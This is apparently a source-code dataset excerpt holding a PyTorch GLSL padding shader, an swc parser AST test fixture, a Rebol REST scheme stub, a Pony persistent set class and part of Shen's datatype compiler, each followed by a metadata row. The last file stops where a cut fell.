layout(set = 0, binding = 0) uniform PRECISION restrict writeonly image3D uOutput;
layout(set = 0, binding = 1) uniform PRECISION sampler3D uInput;
layout(set = 0, binding = 2) uniform PRECISION restrict Block {
ivec4 size;
ivec4 pad;
} uBlock;
layout(local_size_x_id = 0, local_size_y_id = 1, local_size_z_id = 2) in;
void main() {
const ivec3 pos = ivec3(gl_GlobalInvocationID);
if (all(lessThan(pos, uBlock.size.xyz))) {
const ivec2 zeros = ivec2(0, 0);
const ivec2 off_pre = 2*max(uBlock.pad.xz - pos.xy, zeros);
const ivec2 off_post = 2*max(pos.xy - (uBlock.size.xy - ivec2(1, 1) - uBlock.pad.yw), zeros);
const ivec3 inpos = ivec3(pos.xy - uBlock.pad.xz + off_pre - off_post, pos.z);
imageStore(uOutput, pos, texelFetch(uInput, inpos, 0));
}
}
| GLSL | 4 | Hacky-DH/pytorch | aten/src/ATen/native/vulkan/glsl/reflection_pad2d.glsl | [
"Intel"
] |
{
"type": "Script",
"span": {
"start": 16,
"end": 526,
"ctxt": 0
},
"body": [
{
"type": "VariableDeclaration",
"span": {
"start": 16,
"end": 33,
"ctxt": 0
},
"kind": "var",
"declare": false,
"declarations": [
{
"type": "VariableDeclarator",
"span": {
"start": 20,
"end": 32,
"ctxt": 0
},
"id": {
"type": "Identifier",
"span": {
"start": 20,
"end": 24,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": {
"type": "TsTypeAnnotation",
"span": {
"start": 24,
"end": 32,
"ctxt": 0
},
"typeAnnotation": {
"type": "TsKeywordType",
"span": {
"start": 26,
"end": 32,
"ctxt": 0
},
"kind": "number"
}
}
},
"init": null,
"definite": false
}
]
},
{
"type": "ExpressionStatement",
"span": {
"start": 35,
"end": 46,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 35,
"end": 45,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 35,
"end": 39,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 44,
"end": 45,
"ctxt": 0
},
"value": 1.0
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 47,
"end": 67,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 47,
"end": 66,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 47,
"end": 51,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 56,
"end": 66,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 56,
"end": 60,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 65,
"end": 66,
"ctxt": 0
},
"value": 1.0
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 68,
"end": 92,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 68,
"end": 91,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 68,
"end": 72,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 77,
"end": 91,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 77,
"end": 81,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 86,
"end": 91,
"ctxt": 0
},
"operator": "+",
"left": {
"type": "NumericLiteral",
"span": {
"start": 86,
"end": 87,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 90,
"end": 91,
"ctxt": 0
},
"value": 2.0
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 93,
"end": 117,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 93,
"end": 116,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 93,
"end": 97,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 102,
"end": 116,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 102,
"end": 106,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 111,
"end": 116,
"ctxt": 0
},
"operator": "-",
"left": {
"type": "NumericLiteral",
"span": {
"start": 111,
"end": 112,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 115,
"end": 116,
"ctxt": 0
},
"value": 2.0
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 118,
"end": 142,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 118,
"end": 141,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 118,
"end": 122,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 127,
"end": 141,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 127,
"end": 131,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 136,
"end": 141,
"ctxt": 0
},
"operator": "*",
"left": {
"type": "NumericLiteral",
"span": {
"start": 136,
"end": 137,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 140,
"end": 141,
"ctxt": 0
},
"value": 2.0
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 143,
"end": 167,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 143,
"end": 166,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 143,
"end": 147,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 152,
"end": 166,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 152,
"end": 156,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 161,
"end": 166,
"ctxt": 0
},
"operator": "/",
"left": {
"type": "NumericLiteral",
"span": {
"start": 161,
"end": 162,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 165,
"end": 166,
"ctxt": 0
},
"value": 2.0
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 169,
"end": 195,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 169,
"end": 194,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 169,
"end": 173,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 178,
"end": 194,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 178,
"end": 182,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "ParenthesisExpression",
"span": {
"start": 187,
"end": 194,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 188,
"end": 193,
"ctxt": 0
},
"operator": "+",
"left": {
"type": "NumericLiteral",
"span": {
"start": 188,
"end": 189,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 192,
"end": 193,
"ctxt": 0
},
"value": 2.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 196,
"end": 222,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 196,
"end": 221,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 196,
"end": 200,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 205,
"end": 221,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 205,
"end": 209,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "ParenthesisExpression",
"span": {
"start": 214,
"end": 221,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 215,
"end": 220,
"ctxt": 0
},
"operator": "-",
"left": {
"type": "NumericLiteral",
"span": {
"start": 215,
"end": 216,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 219,
"end": 220,
"ctxt": 0
},
"value": 2.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 223,
"end": 249,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 223,
"end": 248,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 223,
"end": 227,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 232,
"end": 248,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 232,
"end": 236,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "ParenthesisExpression",
"span": {
"start": 241,
"end": 248,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 242,
"end": 247,
"ctxt": 0
},
"operator": "*",
"left": {
"type": "NumericLiteral",
"span": {
"start": 242,
"end": 243,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 246,
"end": 247,
"ctxt": 0
},
"value": 2.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 250,
"end": 276,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 250,
"end": 275,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 250,
"end": 254,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 259,
"end": 275,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 259,
"end": 263,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "ParenthesisExpression",
"span": {
"start": 268,
"end": 275,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 269,
"end": 274,
"ctxt": 0
},
"operator": "/",
"left": {
"type": "NumericLiteral",
"span": {
"start": 269,
"end": 270,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 273,
"end": 274,
"ctxt": 0
},
"value": 2.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 278,
"end": 307,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 278,
"end": 306,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 278,
"end": 282,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 287,
"end": 306,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 287,
"end": 291,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 296,
"end": 306,
"ctxt": 0
},
"operator": "+",
"left": {
"type": "NumericLiteral",
"span": {
"start": 296,
"end": 297,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 300,
"end": 306,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "NumericLiteral",
"span": {
"start": 300,
"end": 301,
"ctxt": 0
},
"value": 2.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 305,
"end": 306,
"ctxt": 0
},
"value": 3.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 308,
"end": 337,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 308,
"end": 336,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 308,
"end": 312,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 317,
"end": 336,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 317,
"end": 321,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 326,
"end": 336,
"ctxt": 0
},
"operator": "-",
"left": {
"type": "NumericLiteral",
"span": {
"start": 326,
"end": 327,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 330,
"end": 336,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "NumericLiteral",
"span": {
"start": 330,
"end": 331,
"ctxt": 0
},
"value": 2.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 335,
"end": 336,
"ctxt": 0
},
"value": 4.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 338,
"end": 367,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 338,
"end": 366,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 338,
"end": 342,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 347,
"end": 366,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 347,
"end": 351,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 356,
"end": 366,
"ctxt": 0
},
"operator": "*",
"left": {
"type": "NumericLiteral",
"span": {
"start": 356,
"end": 357,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 360,
"end": 366,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "NumericLiteral",
"span": {
"start": 360,
"end": 361,
"ctxt": 0
},
"value": 2.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 365,
"end": 366,
"ctxt": 0
},
"value": 5.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 368,
"end": 397,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 368,
"end": 396,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 368,
"end": 372,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 377,
"end": 396,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 377,
"end": 381,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 386,
"end": 396,
"ctxt": 0
},
"operator": "/",
"left": {
"type": "NumericLiteral",
"span": {
"start": 386,
"end": 387,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 390,
"end": 396,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "NumericLiteral",
"span": {
"start": 390,
"end": 391,
"ctxt": 0
},
"value": 2.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 395,
"end": 396,
"ctxt": 0
},
"value": 6.0
}
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 399,
"end": 430,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 399,
"end": 429,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 399,
"end": 403,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 408,
"end": 429,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 408,
"end": 412,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 417,
"end": 429,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "ParenthesisExpression",
"span": {
"start": 417,
"end": 424,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 418,
"end": 423,
"ctxt": 0
},
"operator": "+",
"left": {
"type": "NumericLiteral",
"span": {
"start": 418,
"end": 419,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 422,
"end": 423,
"ctxt": 0
},
"value": 2.0
}
}
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 428,
"end": 429,
"ctxt": 0
},
"value": 3.0
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 431,
"end": 462,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 431,
"end": 461,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 431,
"end": 435,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 440,
"end": 461,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 440,
"end": 444,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 449,
"end": 461,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "ParenthesisExpression",
"span": {
"start": 449,
"end": 456,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 450,
"end": 455,
"ctxt": 0
},
"operator": "-",
"left": {
"type": "NumericLiteral",
"span": {
"start": 450,
"end": 451,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 454,
"end": 455,
"ctxt": 0
},
"value": 2.0
}
}
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 460,
"end": 461,
"ctxt": 0
},
"value": 4.0
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 463,
"end": 494,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 463,
"end": 493,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 463,
"end": 467,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 472,
"end": 493,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 472,
"end": 476,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 481,
"end": 493,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "ParenthesisExpression",
"span": {
"start": 481,
"end": 488,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 482,
"end": 487,
"ctxt": 0
},
"operator": "*",
"left": {
"type": "NumericLiteral",
"span": {
"start": 482,
"end": 483,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 486,
"end": 487,
"ctxt": 0
},
"value": 2.0
}
}
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 492,
"end": 493,
"ctxt": 0
},
"value": 5.0
}
}
}
}
},
{
"type": "ExpressionStatement",
"span": {
"start": 495,
"end": 526,
"ctxt": 0
},
"expression": {
"type": "AssignmentExpression",
"span": {
"start": 495,
"end": 525,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 495,
"end": 499,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "AssignmentExpression",
"span": {
"start": 504,
"end": 525,
"ctxt": 0
},
"operator": "**=",
"left": {
"type": "Identifier",
"span": {
"start": 504,
"end": 508,
"ctxt": 0
},
"value": "comp",
"optional": false,
"typeAnnotation": null
},
"right": {
"type": "BinaryExpression",
"span": {
"start": 513,
"end": 525,
"ctxt": 0
},
"operator": "**",
"left": {
"type": "ParenthesisExpression",
"span": {
"start": 513,
"end": 520,
"ctxt": 0
},
"expression": {
"type": "BinaryExpression",
"span": {
"start": 514,
"end": 519,
"ctxt": 0
},
"operator": "/",
"left": {
"type": "NumericLiteral",
"span": {
"start": 514,
"end": 515,
"ctxt": 0
},
"value": 1.0
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 518,
"end": 519,
"ctxt": 0
},
"value": 2.0
}
}
},
"right": {
"type": "NumericLiteral",
"span": {
"start": 524,
"end": 525,
"ctxt": 0
},
"value": 6.0
}
}
}
}
}
],
"interpreter": null
}
| JSON | 2 | mengxy/swc | crates/swc_ecma_parser/tests/typescript/tsc/emitCompoundExponentiationOperator2/input.ts.json | [
"Apache-2.0"
] |
[
Rebol [
Title: "Service-oriented HTTP Protocol"
Author: "Christopher Ross-Gill"
Date: 24-Jul-2013
Home: http://ross-gill.com/page/REST_Protocol
File: %rest.r3
Version: 0.0.1
Type: module
Name: rgchris.rest
Usage: [
read [
scheme: 'rest
url: http://www.ross-gill.com/
]
write [
scheme: 'rest
method: 'post
type: 'webform
url: http://somewhere-to-write/target
][
some data
]
]
Notes: {
Rebol 3 Alpha does not have a working CALL and thus this module as-is
cannot sit upon the shell version of cURL.
}
]
sys/make-scheme [
Title: "Service-oriented HTTP Protocol"
Name: 'rest
Actor: [
open: funct [port][
probe port/spec
]
read: funct [port][
open port
]
]
]
]
| Rebol | 4 | hostilefork/rgchris-scripts | r3-alpha/rest.r3 | [
"Apache-2.0"
] |
use mut = "collections"
type Set[A: (mut.Hashable val & Equatable[A])] is HashSet[A, mut.HashEq[A]]
type SetIs[A: Any #share] is HashSet[A, mut.HashIs[A]]
class val HashSet[A: Any #share, H: mut.HashFunction[A] val]
is Comparable[HashSet[A, H] box]
"""
A set, built on top of persistent Map. This is implemented as map of an
alias of a type to itself.
"""
let _map: HashMap[A, A, H]
new val create() =>
_map = HashMap[A, A, H]
new val _create(map': HashMap[A, A, H]) =>
_map = map'
fun size(): USize =>
"""
Return the number of elements in the set.
"""
_map.size()
fun apply(value: val->A): val->A ? =>
"""
Return the value if it is in the set, otherwise raise an error.
"""
_map(value)?
fun contains(value: val->A): Bool =>
"""
Check whether the set contains the value.
"""
_map.contains(value)
fun val add(value: val->A): HashSet[A, H] =>
"""
Return a set with the value added.
"""
_create(_map(value) = value)
fun val sub(value: val->A): HashSet[A, H] =>
"""
Return a set with the value removed.
"""
try _create(_map.remove(value)?) else this end
fun val op_or(that: (HashSet[A, H] | Iterator[A])): HashSet[A, H] =>
"""
Return a set with the elements of both this and that.
"""
let iter =
match that
| let s: HashSet[A, H] => s.values()
| let i: Iterator[A] => i
end
var s' = this
for v in iter do
s' = s' + v
end
s'
fun val op_and(that: (HashSet[A, H] | Iterator[A])): HashSet[A, H] =>
"""
Return a set with the elements that are in both this and that.
"""
let iter =
match that
| let s: HashSet[A, H] => s.values()
| let i: Iterator[A] => i
end
var s' = create()
for v in iter do
if contains(v) then
s' = s' + v
end
end
s'
fun val op_xor(that: (HashSet[A, H] | Iterator[A])): HashSet[A, H] =>
"""
Return a set with elements that are in either this or that, but not both.
"""
let iter =
match that
| let s: HashSet[A, H] => s.values()
| let i: Iterator[A] => i
end
var s' = this
for v in iter do
if contains(v) then
s' = s' - v
else
s' = s' + v
end
end
s'
fun val without(that: (HashSet[A, H] | Iterator[A])): HashSet[A, H] =>
"""
Return a set with the elements of this that are not in that.
"""
let iter =
match that
| let s: HashSet[A, H] => s.values()
| let i: Iterator[A] => i
end
var s' = this
for v in iter do
if contains(v) then
s' = s' - v
end
end
s'
fun eq(that: HashSet[A, H] box): Bool =>
"""
Return true if this and that contain the same elements.
"""
(size() == that.size()) and (this <= that)
fun lt(that: HashSet[A, H] box): Bool =>
"""
Return true if every element in this is also in that, and this has fewer
elements than that.
"""
(size() < that.size()) and (this <= that)
fun le(that: HashSet[A, H] box): Bool =>
"""
Return true if every element in this is also in that.
"""
for v in values() do
if not that.contains(v) then return false end
end
true
fun gt(that: HashSet[A, H] box): Bool =>
"""
Return true if every element in that is also in this, and this has more
elements than that.
"""
(size() > that.size()) and (that <= this)
fun ge(that: HashSet[A, H] box): Bool =>
"""
Return true if every element in that is also in this.
"""
that <= this
fun values(): Iterator[A]^ =>
"""
Return an iterator over the values in the set.
"""
_map.values()
| Pony | 5 | presidentbeef/ponyc | packages/collections/persistent/set.pony | [
"BSD-2-Clause"
] |
\*
Copyright (c) 2010-2015, Mark Tarver
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of Mark Tarver may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY Mark Tarver ''AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL Mark Tarver BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*\
(package shen []
(define datatype-error
[D _] -> (error "datatype syntax error here:~%~% ~A~%" (next-50 50 D)))
(defcc <datatype-rules>
<datatype-rule> <datatype-rules> := [<datatype-rule> | <datatype-rules>];
<e> := [];)
(defcc <datatype-rule>
<side-conditions> <premises> <singleunderline> <conclusion>
:= (sequent single [<side-conditions> <premises> <conclusion>]);
<side-conditions> <premises> <doubleunderline> <conclusion>
:= (sequent double [<side-conditions> <premises> <conclusion>]);)
(defcc <side-conditions>
<side-condition> <side-conditions> := [<side-condition> | <side-conditions>];
<e> := [];)
(defcc <side-condition>
if <expr> := [if <expr>];
let <variable?> <expr> := [let <variable?> <expr>];)
(defcc <variable?>
X := X where (variable? X);)
(defcc <expr>
X := (remove-bar X) where (not (or (element? X [>> ;])
(singleunderline? X)
(doubleunderline? X)));)
(define remove-bar
[X B Y] -> [X | Y] where (= B bar!)
[X | Y] -> [(remove-bar X) | (remove-bar Y)]
X -> X)
(defcc <premises>
<premise> <semicolon-symbol> <premises> := [<premise> | <premises>];
<e> := [];)
(defcc <semicolon-symbol>
X := skip where (= X ;);)
(defcc <premise>
! := !;
<formulae> >> <formula> := (sequent <formulae> <formula>);
<formula> := (sequent [] <formula>);)
(defcc <conclusion>
<formulae> >> <formula> <semicolon-symbol> := (sequent <formulae> <formula>);
<formula> <semicolon-symbol> := (sequent [] <formula>);)
(define sequent
Formulae Formula -> (@p Formulae Formula))
(defcc <formulae>
<formula> <comma-symbol> <formulae> := [<formula> | <formulae>];
<formula> := [<formula>];
<e> := [];)
(defcc <comma-symbol>
X := skip where (= X (intern ","));)
(defcc <formula>
<expr> : <type> := [(curry <expr>) : (demodulate <type>)];
<expr> := <expr>;)
(defcc <type>
<expr> := (curry-type <expr>);)
(defcc <doubleunderline>
X := X where (doubleunderline? X);)
(defcc <singleunderline>
X := X where (singleunderline? X);)
(define singleunderline?
S -> (and (symbol? S) (sh? (str S))))
(define sh?
"_" -> true
S -> (and (= (pos S 0) "_") (sh? (tlstr S))))
(define doubleunderline?
S -> (and (symbol? S) (dh? (str S))))
(define dh?
"=" -> true
S -> (and (= (pos S 0) "=") (dh? (tlstr S))))
(define process-datatype
D Rules -> (remember-datatype (s-prolog (rules->horn-clauses D Rules))))
(define remember-datatype
[D | _] -> (do (set *datatypes* (adjoin D (value *datatypes*)))
(set *alldatatypes* (adjoin D (value *alldatatypes*)))
D))
(define rules->horn-clauses
_ [] -> []
D [(@p single Rule) | Rules]
-> [(rule->horn-clause D Rule) | (rules->horn-clauses D Rules)]
D [(@p double Rule) | Rules]
-> (rules->horn-clauses D (append (double->singles Rule) Rules)))
(define double->singles
Rule -> [(right-rule Rule) (left-rule Rule)])
(define right-rule
Rule -> (@p single Rule))
(define left-rule
[S P (@p [] C)] -> (let Q (gensym (protect Qv))
NewConclusion (@p [C] Q)
NewPremises [(@p (map (/. X (right->left X)) P) Q)]
(@p single [S NewPremises NewConclusion])))
(define right->left
(@p [] C) -> C
_ -> (error "syntax error with ==========~%"))
(define rule->horn-clause
D [S P (@p A C)] -> [(rule->horn-clause-head D C) :- (rule->horn-clause-body S P A)])
(define rule->horn-clause-head
D C -> [D (mode-ify C) (protect Context_1957)])
(define mode-ify
[X : A] -> [mode [X : [mode A +]] -]
X -> X)
(define rule->horn-clause-body
S P A -> (let Variables (map (/. X (extract_vars X)) A)
